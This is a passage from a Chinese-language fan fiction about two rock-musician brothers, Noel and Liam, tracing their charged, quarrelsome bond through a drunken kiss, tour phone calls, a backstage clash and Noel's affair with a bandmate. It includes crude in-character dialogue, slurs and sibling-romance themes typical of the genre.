“诺尔——”利亚姆带着悠长的语调向他撒娇,无辜的躺在沙发上向诺尔招手。
诺尔先去了卧室找出自己的烟点上,才应了利亚姆,“你特么又要做什么?你知道你给我惹出多大的麻烦吗?”
他尽量让他的语气听起来温和,但掩盖不住话里的抱怨和责怪。诺尔抽烟的手在巨大心理承受下停不住的颤抖。
“Rkid,冷静下来。”
利亚姆跪在沙发边上,用自己的双手包住诺尔颤抖的左手,“别怕……”
但这显然没有安慰到诺尔,他的身体也颤抖起来,“你知道你刚才在干什么吗!”
他缓了缓,“你在我们的朋友面前亲我,你不知道BigUn还在那儿么!”
利亚姆换了个姿势,他将他的脑袋靠在Rkid的肩膀上。
“我当然知道BigUn就在旁边……”他看起来很无所谓。
“那你特么这么做……这够惊悚得了。”诺尔依旧站着,但平静下来。
“如果露易丝在家,我与她的关系都被你摧毁了……”他继续说下去,“所以你怎么回事,你打算让我背上与弟弟luanlun的骂名么?”
“No!我们只是触碰对方的嘴巴,这算不上luanlu
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n。”利亚姆大声反驳,“你知道我怎么回事,我现在的心全部属于你,只是现在我打算让你知道!”
“我写的歌是为了你,我唱的歌是为了你,我连加入乐队也是因为你……”利亚姆用他的天使眼睛紧紧锁住诺尔等我表情,他醉了,这让他的眼底存在带着醉意的星光。
“You fooking cunt! ”诺尔咬着烟的嘴破口大骂,咧开嘴笑起来,“听你的意思是你想和我在一起?”
“是的。”
“我们不可能,我们迟早都会有自己的生活,你对我的感情也不会永远存在。”诺尔带着悲观的情绪评论,但这具有现实性意义。
“可是我们是兄弟,我们会永远在一起的。”利亚姆保留着天真的观点,他的表情变得坚定起来,“如果你觉得不够,你可以加入我的乐队,这样你就可以天天陪我了,在乐队里别人可管不了我们。”
“不,我现在有工作,我还不打算离开。”诺尔边说边盯着利亚姆的瞳孔,这个混蛋小子喝得醉哄哄的,他的瞳孔都在发散,怕是他自己都不清楚再说些什么做些什么?怕是今晚是一场乌龙罢了。
诺尔哂笑一声,无奈中透着悲伤,“今晚就当你喝醉了,明天早上酒醒了,给我恢复正常。”
利亚姆躲开他的视线,抿着嘴无言,他将他的身体挪得离诺尔远远的。
这让诺尔的心情也不好受,但他狠下心来不打算给利亚姆回应。兄弟之间感情深厚,这很棒,但当这感情越过底线存在过激作为时,这就不太正常了。更何况,诺尔与利亚姆两兄弟之间的关系好像从来没有正常过,这让诺尔捉摸不透该如何处理。所以他打算将这件事搁置下来,让它随时间慢慢消逝吧。
诺尔起身给利亚姆找了个毛毯,扔给利亚姆。
“今晚你就在这儿睡吧,明天必须在露易丝回来前给我滚走。”
“Piss off, you bastard. ”利亚姆坐起来骂了他一句,并向他伸出他的双手。
“咋了?”诺尔询问,利亚姆总是在他面前胡闹,这次诺尔有了心理准备。
“我需要你陪我一起。”利亚姆拍着他屁股底下的沙发。
“这特么是沙发,不是床,不够两个人睡,你是傻蛋么。”
“不,我不傻。”
“是的,你傻。”傻得直白,傻得真诚,傻得让诺尔有些难以割舍,他的脑子甚至在盘旋着加入利亚姆乐队也不是不行的想法,毕竟利亚姆会唱歌,他会写歌和弹吉他。但此刻他就是不想让利亚姆得逞,所以他没有将真实想法告诉面前的睡在沙发上的男孩。
诺尔关灯了,躺在他与露易丝的床上,黑暗中传来利亚姆的声音。
“Rkid,晚安。”
诺尔没回,他在黑暗中转辗着,他的脑子不受控制的想到在舞台上唱歌的漂亮男孩。
Take me when I''m young and true.
Was it me or was it you?
Take me when I''m not so strong.
Why has it taken you so long?
Take me when you feel I''ve gone.
I always knew I could be someone.
Take me if you think you''re right.
Do it now before it''s light.
这个漂亮的男孩想让诺尔带他走,在他真实甜蜜的时候采摘下来。但这一切,诺尔统统不能干,这所有的一切只能存在男孩与诺尔的幻想中,因为这些有违社会规范,有违伦理道德。
诺尔在听到白衣男孩在舞台上唱这首歌时,他有想过带他远走高飞吗?
这一切,只有诺尔自己知道了。
我想,他是有想过的……
24. 继续腻歪的兄弟两
当诺尔醒时,他注意到女友在镜子面前化着眉毛。他走下床,来到沙发边上。
“你在找利亚姆么?他已经离开了。”露易丝好似知道他在找什么,转头说。
“不……好吧。他看起来怎么样?”
“糟透了!我在下面给他打了辆出租车。”
“他……和你说什么了吗?”
“没有,他什么都没说,只是骂了我几句。”露易丝继续化着她的眉毛,“你觉得他会对我说什么?”
“呃……”诺尔来到镜子旁,望着镜子中的露易丝,用嘴唇在她的面颊上轻触,“他会嫉妒你的美貌。”
诺尔这样说,带着坏笑。露易丝被他逗笑,“好了,你这个说漂亮话的男孩,现在你不是应该收拾你的行李嘛,别粘着我了。”
“好吧——”
诺尔只请了一天假,今天必须回到IC乐队继续他的工作。
诺尔去卫生间洗了个澡以及进行自己的洗漱,再快速收拾好自己的行李,他向露易丝吻别,尽量选择最快的交通工具回到乐队所在地点——威士顿,是一座位于美国东部的繁华城市,人口很多,这些住在高层建筑的中产阶级穿得像美国纽约佬一样光鲜亮丽,与处于工人阶级的诺尔完全不同。
乐队在这座城市完成演出后,休息了几天,又出发来到别的城市进行他们的巡演。
在巡演中……
“我们的‘Chef’在干什么?”Graham放下他的吉他询问,他们乐队一伙人在满是电子设备的房间排练。
Chef说的是诺尔,由于他在乐队里喜欢指使人做事,并且乐意当起管理者的身份,大家给他起的称号。
“我刚从他那边过来,他在打电话。”Clint回到房间,在他的键盘上敲出几个音符。
“这太奇怪了,诺尔每到这个时候就霸占我们休息室的电话,他在和他的女孩在电话里亲热吗?”
吉他手Mart这样说,他的话里带着调侃,这让周围的摆弄乐器的男孩们笑了起来。
“不,好像不是他的女孩,是他的弟弟,他自从曼切斯特回来每天都在和他的弟弟打电话。”
“那这更奇怪了,我不知道他们兄弟两关系那么好……”
“反正这不关我们的事儿。”
Clint以一个刻薄的态度结束对话。
休息室里——
“OK,我知道了,我可不会想你……嗯,对的我在休息。”
诺尔的确坐在休息室里与他的弟弟在打电话。
他惬意的躺在沙发上,他的脚有一只愉悦的翘在沙发脚上,没拿电话的胳膊挡着自己笑弯的眼睛。
“Uha, 我不知道bonehead还会弹吉他。”
对面不知道说了什么,他惊讶了。
“他还会弹钢琴、吹口琴和编曲!哦,想起来了,那天你唱的歌就是他在里面编曲吧……”
在诺尔表示对bonehead的惊叹后,这两兄弟继续昨晚的聊天内容,讲得都是些无聊且听起来又很滑稽的玩意儿。
他们聊着利亚姆乐队的近况,聊着Rkid乐队里的鼓手Tony搞大一个女人的肚子,聊着bonehead昨晚喝得醉熏熏的与一个比他壮两倍的陌生人打架,聊着他们乐队主唱利亚姆是多么的厉害。
“你是个穷鬼,你的乐队都没有钱发行单曲,它甚至都没有一个经纪人。”
诺尔暂停Rkid的自信发言,将他拉回到现实世界。
电话立刻传来利亚姆的回答。
“我是个穷鬼,这没错……但我现在也在打工。”
又过了好几秒,利亚姆悻悻的说。
“Rkid,你可以来我们乐队当经纪人,毕竟你在别的乐队工作好几年了,你有经验……”
经验?他有什么经验,是跟在IC 乐队屁股后面喝酒泡妞的经验吗?
这是什么鬼主意!诺尔想都没想过去当什么狗屁经纪人,他是疯了才会这样做,在他眼里,做经纪人与做“保姆”没什么区别。
“你他妈在说些什么狗屁,我才不会去当你们的保姆,我是疯了么。”
“No,我觉得这是个好主意,你可以加入到我们乐队当中。”
“No, 你个混蛋,放弃这个想法吧,我不会同意的。”
“OK……”利亚姆对他的拒绝感到沮丧,说话的声音都低了下来。
诺尔在电话里骂了他几句,“你个puff(基佬),别像个女孩一样哭唧唧的,你的情绪比我放出的屁还臭。”
“Shop it now, Noel …”
利亚姆被诺尔骂的没了脾气,他软着声向诺尔控诉。
诺尔对他类似撒娇的语气感到好笑,“你在撒娇吗?你听起来像个女孩,you fooking girl. ”
“如果有必要我会脱下你的裤子检查你是不是个女孩……”
对面传来利亚姆低低的骂声,“Noel,你个恶棍!”
诺尔呵呵笑了一会儿,虽然他也不知道自己在笑什么。
“好了,我需要挂了。”
利亚姆及时叫住他。
“嘿……等一下,你们乐队下个月是不是要去日本?”
“Yep? ”诺尔疑惑问,“你怎么知道我们的行程?”
利亚姆在那边得意地拍着手掌。
“我他妈在房间里贴了一张IC 乐队的海报,你就是知道。”
“那我需要夸夸你么?”诺尔调笑道,继续说,“你每天都在数着日子看我到哪了?”
“当然,毕竟我每天无聊死了,我只需要在那个地下室待上几十分钟,顺带唱几首歌,其余时间都花在酒吧里,我真的受够了这样的生活。”
地下室?利亚姆的Bloom 乐队在一个废弃建筑物的地下室里排练,这个地方真的逊爆了,诺尔差点忘记他弟的 Bloom 乐队是多么的糊了。
利亚姆这个话痨打算继续说下去,诺尔可没有时间陪他继续腻歪。电话再拨打下去,下一刻休息室的电话账单将会送到他的手中,所以诺尔打算让利亚姆这个“小妞”闭嘴。
“让你的嘴巴闭上,我可不想在这花钱听你说些狗屁玩意儿。”
诺尔抽空点上烟,将烟拿在手上,继续说,“如果你想到我这儿来,那很棒,你最好快速抬起屁股行动,将你的车票买好,到了,我会给你办好去日本的签证,你只需要乖乖跟在我的屁股后面,什么都不需要担心,你知道了吧,Rkid?”
“OK,Noel …”利亚姆低声说着,带着撒娇意味,他放下电话朝他的妈妈喊道,“妈妈,我要去找Rkid,把你给我买的新衣服装起来…no,我不要这件。”
利亚姆开始忙绿起来了,他快速拿起电话回复他的哥哥,“好的,Rkid,我在准备出发了,bye!给你一个大大的亲吻,我们待会儿见。 ”
“Well, bye …”
电话被利亚姆挂断了,诺尔笑着将电话归位,顺带解决手上香烟,之后他就去找正在排练中的朋友们。
诺尔爱死这份工作了,在完成工作量后,他有着完全自由的时间来干他想干的任何事,非特殊情况下,诺尔不会离开这个设备管理员的职位。
IC乐队在曼切斯特的隔壁苏格兰进行演出,不出所料,利亚姆将会在二个小时内坐火车到达。
在此期间他回到旅馆向前台订了一间大床房,将自己的行李从拥挤的单人间拿走。
先声明一下,诺尔不是个奢侈的人,他可没有那
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么多钱让他挥霍。他可以忍受住小房间的拥挤和杂乱,但当利亚姆陪同他一起住时,这个小混蛋只会嫌弃旅馆的床太小,不够他翻身的,并大骂他的哥哥是个穷鬼舍不得给他睡大床房。这让诺尔可无语了,他可不想再次被利亚姆唠叨与咒骂,这次他学会变通,订了一间有着二米的大床,这会让利亚姆光会抱怨的嘴巴闭上几天。
差不多晚上八点的时候,诺尔接到利亚姆从苏格兰车站打来的电话,他懒得找人接他,所以他这样吩咐。
“Rkid,对…我在旅馆,你打辆车吧,到了我付钱…好,待会儿见。”
二十分钟后,诺尔在旅馆门口等到利亚姆,替他交了车费。
利亚姆这小子长得有他高了,留着超过额角的短发,穿着一身蓝色带领的针织衬衫,下身套着棕色的休闲裤。这小子看起来漂亮极了,将周边拉胯的环境都衬得格外别致。
诺尔接过他手中的包,站得离他远些在前面带路。与利亚姆相比,诺尔看起来就像是个苦逼流浪汉,这让他气愤嫉妒极了。
把利亚姆的行李放到房间的台面上后,诺尔立刻指着利亚姆的衣服问,“你这衣服在哪儿买的,这真他妈漂亮。”
利亚姆一进房间就坐在床上整理着他的发型。他看着诺尔不客气的回。
“我没钱买衣服,这是妈妈给我买的,她也给你买了一件,你个坏脾气男巫。”
诺尔嗤笑一声,蹲下来在他包里翻着,果然找出一件与利亚姆同款的黄色针织衬衫。这让诺尔哑口,妈妈甚至没有偏心任何一个汉纳姆兄弟。
“Rkid,你再找找,你能在里面找到妈妈让我带给你的礼物。”
利亚姆突然出声,带着明显的笑意。
这让诺尔好奇起来,他低头在包里摸索,除了利亚姆衣服,他摸到一个类似包装盒的硬邦邦的东西。他拿出来一看,这他妈是个戒指。他将包装打开,是个金色的克拉达钻戒,带着一个漂亮的白色钻石。
这让诺尔惊叹,不过他不是惊叹戒指的漂亮,而是惊叹…
“这里面怎么会有二只戒指,妈妈认为我要与露易丝结婚么!”
在旁边的利亚姆哈哈笑了半天,指着诺尔惊喜的表情。他在诺尔的凝视下将其中的一枚戒指戴入到自己的无名指,后又发现戴不上去,由于他短粗的手指,所以他将其戴入小拇指。
利亚姆将他的戒指展示给他的哥哥看,“这不是露易丝的,这是属于我的,妈妈买给我们俩的爱尔兰戒指。”
但这让诺尔更惊讶了,但他还是将戒指穿戴在他左手的无名指上。
这太奇怪了,他与利亚姆戴着一样的钻戒,这还是爱尔兰克拉达传统婚戒,他们的妈妈不知道这是什么含义么,她肯定知道,因为妈妈就是在爱尔兰长大,她的手上也戴着一枚这样的戒指。
但他与利亚姆…诺尔不打算想下去,这有极大可能是Rkid求着他们的妈妈给他们买的,很有可能。要不然就是他们的妈妈被鬼怪附身了,才会想起来给诺尔和利亚姆兄弟两买婚戒。
诺尔沉默的将利亚姆的行李放到架子上,与自己的行李一起。
利亚姆在房间里像只猴一样在床上蹦跶。
诺尔看到了,提醒,“这他妈是床,不是你的蹦蹦床。”
利亚姆动作没停,在诺尔目光注视下又蹦跶几下,他停了下来坐在床中央。
“这二个没什么区别,都是床,不是吗?”
“You basted! ”诺尔拽着利亚姆的脚腕将他拉到边上,“你若是把床蹦坏了,你信不信我能让你的脑袋开花?”
诺尔站了起来,以一种严肃且凶悍的眼神望向他。在诺尔的眼神攻势下,利亚姆安静下来了。
“那我能干什么?这个破房间又没有电视可看, 你个混蛋。”
25. 诺尔和利亚姆都很不爽
“还有,你就像那个电视主持人杰里米·克拉克森,你的嘴和他一样毒。”
利亚姆撇着头用手指戳向诺尔的肩膀说。
“你敢再说一遍吗? ”诺尔好笑道,并威胁他,他伸出左手食指在利亚姆眼前晃着。
利亚姆不爽的龇牙,带着颤抖的睫毛,垂着眼眸,显然他不会再重复他的咒骂。
此刻的他,在诺尔眼里就像个被掏空棉花的毛绒玩具,对诺尔起不到一丝儿威胁。
诺尔对他乖乖听话的样子很满意,看着利亚姆的头顶哼上几声。
“过来,我带你去看IC乐队的演出。”
诺尔带着利亚姆来到演出场地,人很多,刚踏入就被音响传来的鼓点所震撼。
诺尔与利亚姆一同站在人群后面,陪同他一起喝着啤酒,并举起一只手臂摆动。这场与IC乐队一起演出的有知名的The High、The Vexrs。利亚姆看起来很喜欢他们的音乐,毕竟这个混蛋一直在他耳边说个不停。
“Rkid, 我觉得他们很棒,我会像他们一样的,那个乐队也很不错,就是歌词不行…你应该上去为他们写歌…”
诺尔为他的行为而感到抱歉,因为周围的带着纹身的男人们对着嚣张的利亚姆投来不爽的视线。
面对这些威胁,诺尔只是将利亚姆拉远些,毕竟他需要让利亚姆在外面把他的精力消耗掉,他可不想晚上被利亚姆这小子闹得睡不着觉。最好今晚让利亚姆喝醉,这样他就不用在睡前应付着只有利亚姆脑子才懂的胡话。
在诺尔站旁边喝酒走神中,利亚姆已经从他的身边远离了,来到一个黑发拉丁女孩的近前,与她搭讪。
诺尔注意到Rkid将他的手臂搭在女孩光裸的肩上,他汗湿的额头贴在女孩的脑袋上,女孩回馈这个与他聊天的漂亮男孩,将她的唇贴在利亚姆的嘴角。
这时候诺尔转头将视线投向别处,快速喝了口啤酒掩盖心底不明的情绪。
他来到点酒的摊位,给自己来了一杯高纯度伏特加,在老板惊疑的目光下混着自己的啤酒几口气喝完。
“你还要再来一杯吗?”女性老板这样问,带着善意,动作带着吃顿将酒倒满。
“当然,再来一杯,谢谢。”
诺尔拿着他的酒坐在棚子外面喝着,这次他小口酌着,他能感受到酒精让他上头,他的脑袋即将变得迟钝。
他无聊的翘起一条腿并撑着下巴观看舞台上的演出。台上的歌手唱得逊爆了,所以诺尔又将视线重新放到站在人群里的利亚姆身上。
谢谢上帝,这个小子离开了拉丁女孩的拥抱,拿着手里的啤酒走着他那个嚣张的鸭子步来到人群中央,拥着完全陌生的男孩们蹦跶。
Shit, Rkid总是对任何人很热情,如果一个陌生人向他打招呼,他就会屁颠颠的跑到人家眼前给他一个拥抱。他与诺尔完全不同,诺尔喜欢在不受打扰的环境下欣赏音乐并喝着符合自己口味的啤酒。
诺尔将桌面上的伏特加喝完了并点了杯价格便宜的啤酒,当付钱时身上的零钱全空了,这时候他才想起后台可以喝的免费啤酒。
“咻——”诺尔将双手的食指放到嘴中吹了个响亮的口哨,并向远处摆动双手大喊,“嘿,利亚姆,过来!”
利亚姆很熟悉他的声音,从人群中窜过来,带着他因困惑而眯起的眼睛。
“What''s up, man? ”
“你想喝免费的啤酒么,如果幸运的话你还能见到The High 的主唱,你要和我去么?”诺尔这样说。
听到这个消息,利亚姆的眼睛放大了,在蓝色灯光的映衬下显得格外深邃。
“操蛋,那我们为什么不早点去…”
说完他就往别处走着。
“你他妈知道在哪儿么,我能看到你的脑袋在寻找方向。”诺尔将他拦下来,“你的脑袋没从思考过么,你的屁股比你的脑子先打起来。”
诺尔的嘴巴的确狠毒……
“Shut up. ”利亚姆将他的的脖子抱住,在他的脸上亲了一口。
诺尔不好意思的笑了起来。
他凭借脖子上戴的员工工作证进入演出场所的后台,当然,身后跟着利亚姆。
演出场所在所处地区的国家体育馆内,这场演出以及人数是非一般的大,理所当然后台面积也是相当可观。
向外扩展的走廊甚至有五六个保镖在站岗,诺尔拉住利亚姆向彪型大汉挑衅的手指,回头恶狠狠的盯着这个混蛋,说。
“你就是个bitch! 能不给我惹事儿么,要不然我给你扔在这鬼地方让你一个人待着,我自己会飞去日本。”
要知道,利亚姆这个小子最讨厌待在陌生的环境下,当他的身边没有哥哥陪时,他的状态会非常糟糕,对这一切都了然的诺尔,狠狠地攻击利亚姆最柔软的内心。
“You fooking…”利亚姆没有将话说完,他带着不爽的情绪甩开诺尔的手,迈着一成不变的鸭子步向走廊走去。
诺尔可不想继续在他的屁股身后叮嘱,他也带着不爽的情绪远离他。操蛋的利亚姆,总是让他的情绪失控,这也是很不容易的事儿,毕竟他认为自己不是坏脾气的人,
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他的情绪可是神一般的稳定。(author : 并不是…)
在走廊里乱逛的利亚姆很幸运的在一个休息室门口遇到了The High 乐队的吉他手。
他向这位穿着皮衣的男人告知他爱死他们的乐队主唱Josh Malerman,并询问他是否能带他去看那那位Josh。
结果很美满,这位看起来很不好惹的吉他手对着利亚姆很友善,他带着利亚姆带到休息室中,并向Josh介绍这位冒昧打扰的男孩。
和别的摇滚乐队一样,休息室占满了大麻和drugs以及不同肤色的女孩。吉他手带他来到房间的隔间,指着坐在沙发上唯一坐着的的短发男人。
利亚姆有些拘谨的走到沙发旁边,这不怪他,这位主唱与他想象中的摇滚明星完全不一样。这位The High主唱完全不是摇滚人所知道的疯癫模样,他完全安静的坐在沙发上,这倒是和Rkid一样,但这位有着好嗓子的男人带给他极不舒服的感受,这让利亚姆对他感到恶心。
注意到利亚姆的到来,他将视线从上到下审视着,带着意味不明的笑容。
“你他妈是女孩吗?”Josh向利亚姆恶意的吹着口哨,并望着他拍着自己的膝盖。
这个人令人作呕,利亚姆勾起了他的胳膊打算给男人好看,但他没有将行动贯彻到底,毕竟他今晚不打算惹事,由于他操蛋哥哥的叮嘱。他爱他的哥哥,他不打算为诺尔的工作增加负担,如果他揍了主办方请的乐队,第二天他的哥哥就会被无情的开除,所以他打算以一种温和的方式。
“我他妈看起来是个女孩么,你个后门松弛基佬!”利亚姆凑近男人,注意到他咬紧了牙关,继续说,“我想你是个软蛋毕竟你在床上的叫声会比你唱歌好听。”
利亚姆躲开Josh攻击他的拳头,得意得笑了起来,并向他竖起了中指。
他不仅侮辱到男人的屁股还侮辱到男人的歌声,这对主唱来说是不可忍的,同为主唱的利亚姆很懂得去贬低另一位主唱。
在事态即将升级时,那位吉他手出面了,“友好”的将利亚姆请了出去。
利亚姆的鼻子差点被关上的门砸到,他指着门破口大骂,“你个双面怪,和你们的主唱一样恶心,都是个垃圾!”
骂完后的利亚姆犯了怂,他的骂声吸引到后台的安保人员,在安保人员打算过来一探究竟时,利亚姆逃离了犯事现场。
这后台太大了,他妈的全是门。利亚姆的眼睛都要贴到每张门上去了,他在寻找一丝属于IC乐队的标识。
终于他找到了,将门打开进去。
26. 偷情?
“Rkid! ”
利亚姆撅着屁股拍着手大声喊道,他的样子活像个逗狗的傻登。
“你有看到Rkid么?”利亚姆逮到一个倒霉蛋问他,看他摇头后,继续抓着身边的人问,“你有看到Rkid么,就是有着丑陋发型的男人,那个人的头发像个马桶盖盖在头上!”
一位棕色长发的女孩走过来,“你是说诺尔?”
“当然,Rkid就是诺尔,诺尔就是Our Kid. ”利亚姆从一个男人的口袋里顺走香烟,从女孩那儿借了火。
“你知道那个混蛋在哪?”
利亚姆从嘴里拿出烟,靠近这位女孩的耳边说道。
“是的,诺尔与我是朋友,我在乐队里拉小提琴。所以这位陌生的男孩,今晚要与我一起么?”
棕发女孩对利亚姆很感兴趣,眼神带着若隐若现的调情,嘴角勾着甜蜜的弧度。
“抱歉亲爱的,现在不是时候,也许等到下次。”利亚姆对女孩很有礼貌,委婉的拒绝了她。
他把手中的烟继续吸上几口,对着还在盯着他的女孩这样说,“Beauty, 我不是在说你什么地方不好,只是时机不对。你知道我什么意思,我在找我的哥哥,如果你知道我哥哥的去向,我会非常感谢你。”
“好吧,虽然不想承认但今晚失去你是我的损失。”
女孩继续说,“诺尔十几分钟还在这儿,但不知道什么情况他又离开了,我想他回到旅馆休息了,你可以在那儿找他,如果你知道他房间号的话。”
利亚姆当然知道诺尔的房间号,或者说自己的房间号,他与诺尔睡得同一张床,他不会傻得连自己的房间号都记不住。
“我当然知道他的房间号,拜拜,漂亮的女孩。”
利亚姆在矮个子女生的头发上轻轻吻了一下,将手中的香烟塞到她的手中,“帮我扔一下,好么?”
虽然此时的利亚姆没有与女孩共度一晚的打算,但他不屑于向她施展魅力,在女孩星星眼的注视下,利亚姆开门离开了。
利亚姆穿过场地来到隔了几个街道的旅馆内,在走廊里他在自己的脑袋里数着,一,二,三……八,对了,就是这间,他推开门。
Shit! 房间内正发生很劲爆的玩意儿,你可以想象到你看见自己的哥哥与男人亲吻的场景,利亚姆这个可怜的男孩当场就爆炸了。
“Bitches,你们的门没锁!”利亚姆哐的一声把门关上,他走到靠近窗户的沙发上坐下来,他能感受到房间内的两个人在盯着他看。
诺尔在门打开的时刻就快速的将Clint推开,但他的速度不够快。他拍了拍脑袋走到门边打开,将一脸茫然的Clint送走。
当门再次被关上时,诺尔的背抵在门上,他躲避利亚姆直直看向他的眼睛。
“你要说什么,你他妈现在可以说了。”诺尔向坐在沙发上的男孩耸肩。
利亚姆表现得异常安静,垂着脑袋思考者什么。
“那露易丝怎么办?”突然,他自已说。
“Pardon? ”诺尔没想到他会这样问,并且他的心思已不在这了,他对利亚姆所要表达的意图反应不及时。
“我说你的女友怎么办,可怜的露易丝 。”利亚姆将自己的单词说得很慢,让站在门旁边的诺尔听得很清楚。
诺尔佯装淡定来到床头点上一根烟,他的目光落在地上,但他的余光能看见沙发上的身影。
“你他妈不会说出去的,是么?”
利亚姆撑着他的下巴点头,“Never, 我就算再混蛋,也不会毁掉自己哥哥与女友的恋情。”
利亚姆从沙发上翻下来,走到诺尔的身后,趴在他的肩膀上,“我不相信你的品味那么差,Clint?你是在开玩笑么,他就是个粗狂的野人。”
由于Clint的汗毛比较旺盛,利亚姆这样称呼Clint格外的滑稽。
诺尔笑了起来,像有病一样止不住,他确信他再也不会去亲吻Clint,因为他会笑出声,由于自己的品味。但是Clint很帅气不是么,与利亚姆的风格迥异,这让利亚姆很不待见他,并视他为比“美貌”的威胁。
“Shut up. ”诺尔整理自己的发型,并甩着一只手让利亚姆闭嘴。
“OK …”利亚姆眯着眼望他,“你为什么那么早离开,只是为了在我们的床上与Clint偷情吗?”
诺尔吸烟的动作停了,转头问,“偷情?你把这叫做偷情,你TM在胡说什么。”
“这里什么都没发生,我喝醉了Clint送我回来,就是这样。”诺尔坐在床边,夹着香烟的左手指着他,“你这个混蛋都没去寻找我,把我一个人丢在黑暗的走廊里,you tart。”
利亚姆立刻反驳,“你在胡说,不是你先丢下我的么。”
他有些烦躁的在床尾踱步,“我可没有忘记你在那儿,我去找你了,但是你特么早就回来了,操蛋的玩意儿。”
“你这样做了?”诺尔惊喜的说,下一秒他低下头去,“我特么喝醉了,在后台的卫生间吐了一地,Clint将我送回来的,所以,这不是我的错,全是这该死的伏特加的错。”
诺尔按压他因高浓度酒精而疼痛的胃,他抬起脑袋笑着,再次问,“你特么真回去找我了?”
利亚姆被问烦了,“我就是找你了,你是我兄弟,我不去找你那我找谁?找The High乐队的那个傻逼主唱么,我不是个傻子,我现在讨厌死这个人了。”
话题怎么跳到The High乐队身上去了,利亚姆的话听起来很没有理头,诺尔不打算将其忽视,他打算问清楚。
“你都没有与那位主唱说过话,你怎么知道你不喜欢他?这有点神经质了,兄弟。”
“我不是神经病,我今晚见到那个叫做Josh Malerman的傻逼男人,他就是个该死的基佬。他们的吉他手让我进休息室见他,但是他们就是一群混蛋,那个混蛋主唱说我是个女孩让我坐他的膝盖上。”
“我当然不会这样做,我踏马不是个女孩,我也不会当别人的烂货。”利亚姆快速将事情讲完,在讲的同时他的双手愤怒的甩着,“他们就是群垃圾,都不配给我擦鞋,他们应该跪下来举起双手膜拜我,一群混蛋!”
在利亚姆说话期间,诺尔的嘴角笑得都要裂开了,他将烟熄灭扔进烟灰缸。他一只手撑着床,另一只手将床边的利亚姆拉过来坐着。
“Well,他这样说了,你没有揍他么?”
“Fooking no!我今晚可不打算惹事儿,我被那
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个吉他手关在门外,我更敢保证那扇门砸到我的鼻子。”
利亚姆将他的脸靠近诺尔,以便他的哥哥观察他的鼻子。
诺尔皱着眉凑近,首先他注意到的不是鼻子,而是面前男孩漂亮的唇形以及迷人的眼睛。这不怪那个叫做Josh的男人把利亚姆看作女孩,毕竟利亚姆漂亮的就像个女孩,这张脸美得雄雌不辨,由于他天使般的面孔,这个小子的身边从来不会缺少搭讪的人。如果有男人搭讪利亚姆,诺尔也不会感到奇怪。
他在几秒后将视线落到面前的高挺的鼻梁上,利亚姆正一脸呆愣着等着他的回复。
“你的鼻子好得很,但这里有些红。”诺尔在他鼻尖擦了一下。
“Fooking great.”利亚姆挪动他的屁股,“你故意的吧,把我拉你腿上坐着,你像树干一样的小腿硌得我屁股疼。”
“Hey!屁股长在你身上你想坐哪就坐哪,但你偏偏就坐我身上,你个矫情的小女孩,给我滚开。”诺尔将他推下去,并用脚踹将他踹一边去。
“我不是女孩,你个混蛋。”利亚姆勾着笑容,弯着腰对着坐在床边的诺尔嚣张的拍手。
“Fuck off.”
“You fuck off…”
“You lovely cunt!”
……兄弟俩在对骂中结束自己的洗漱,利亚姆从浴室里走出来,翻着行李。
“Rkid——”利亚姆撅着腚在那喊。
“What?”诺尔躺在床上左手里拿着笔,一本笔记本落在被子上,他在写歌。
“你这款衣服可以给我吗?”很显然他在翻着诺尔的行李包,从里面掏出一件白色的衬衫,将它举高让床上的人看到。
诺尔抬头望了一眼,“当然可以,这件衣服我穿大了,你穿应该很合适。”说完他低下头继续写着,低声说着,“现在的衣服市场全被胖子占了,我买不到适合的衣服。”
“这就是该死的苏格兰!全被资本控制了,由于高热量的汉堡薯条。”利亚姆光着脚跳上床,身上穿着刚才的白色衬衫,他继续说,“不过我们很喜欢这些快餐,这些快餐吃起来真的很棒。”
“Yep,我很赞同。”他继续用笔在纸上写作。
已经钻入被子里的利亚姆贴到他的胳膊上。
“你要做什么?”
“我有一个想法。”
“什么想法?”
“你加入到我的乐队吧,诺尔,你弹吉他,我来唱你写的歌,等我们赚到钱了一起给妈妈买个房子。”他继续,“我写的歌像屎一样,你会写得比我棒。”
“Hey ,别往下说,我觉得你的歌很不错,《take me》就很不错,你的词…”诺尔顿了顿,“很棒…”
利亚姆将被子盖在脑袋上,“我讨厌这首歌!”
“为什么?”
“有人说这首歌是有关同性的,我不会再唱这首听起来很软蛋的歌曲。”
“No!我觉得你唱的很棒,你不是个同性恋歧视者吧?”
利亚姆露出一双眼睛,“我当然不是,你知道的,人人平等,每个人都特么是一样的,我才不搞歧视那一套!”
诺尔欲言又止,“但这首歌的确是关于同性的,这不是你写给我的歌么?”
27. 混入日本巡演1
利亚姆摇头晃脑就是不出声。
“你忘记那天晚上你怎么说的了?”
对于装傻的利亚姆,诺尔无情揭穿他。
“哪个晚上?”
“就那个该死的The Boardwalk演出晚上。”
“你是说那个吻?”利亚姆望着自己的睫毛,他的心思不知道飞到什么地方了,有可能他在想着外太空生物。
周围变得安静,感觉空气完全静止了……
“我说过不要谈论这件事儿,我没有说有关亲吻的事情,我说的是你写给我的歌。”
诺尔咬着牙望向他,他对利亚姆逃避话题感到生气。
“哦……你说这这个啊,歌是我写的,这很棒,我喝醉了,你知道我什么意思,说的都是屁话。”利亚姆坐了起来,摸着鼻子说道。
“Shit, man! ”诺尔将笔记本和笔扔到地上,与利亚姆背对着躺在床上。
“你就是个吃屎的臭屁精,满嘴放屁。”诺尔气不过的翻身,直直面向利亚姆。
“I''m not! ”利亚姆摇头,“我要睡觉了,无论你说什么我都没听见,我什么都没听见,balbalaba…”
利亚姆的脸皮这个时候薄了起来将自己蒙在被子里。
诺尔都要被他气笑了,继续背对着这个混蛋躺着。
他关上灯并眯上眼睛打算睡觉,这个时候利亚姆像只小狗一样蹭过来。
“我爱你诺尔,晚安。”他在诺尔的脖子上亲了一口,动作轻柔,带着暖意。
“晚安,you cunt 。”
诺尔此刻不待见利亚姆的坏心情被这个混蛋给打散了,利亚姆总是知道怎么做能让他舒心,此刻他只是得到一个小小的亲吻,他的心情就莫名的好了起来。当然,无论诺尔对Rkid怎么生气,在他心里,利亚姆永远是他可爱且永远长不大的男孩。
“我应该怎么做?”诺尔心里想的问题一直没有答案。
在感情关系中,诺尔总是处于被动关系。
他爱他的女友露易丝,露易丝也爱他。他不知道露易丝是否对他不忠,但他绝对是不忠的那一方,Clint就是最好的证明,更别说其它晚上根本记不清姓名的女孩们。他与露易丝的关系很稳定,露易丝愿意包容他,只要是她能接受的,她都愿意包容。诺尔对她抱有愧疚,毕竟这位女孩太美好了,这让他觉得自己不配。但是命运就是那么奇妙不是么,他和露易丝竟然在一起三年了。
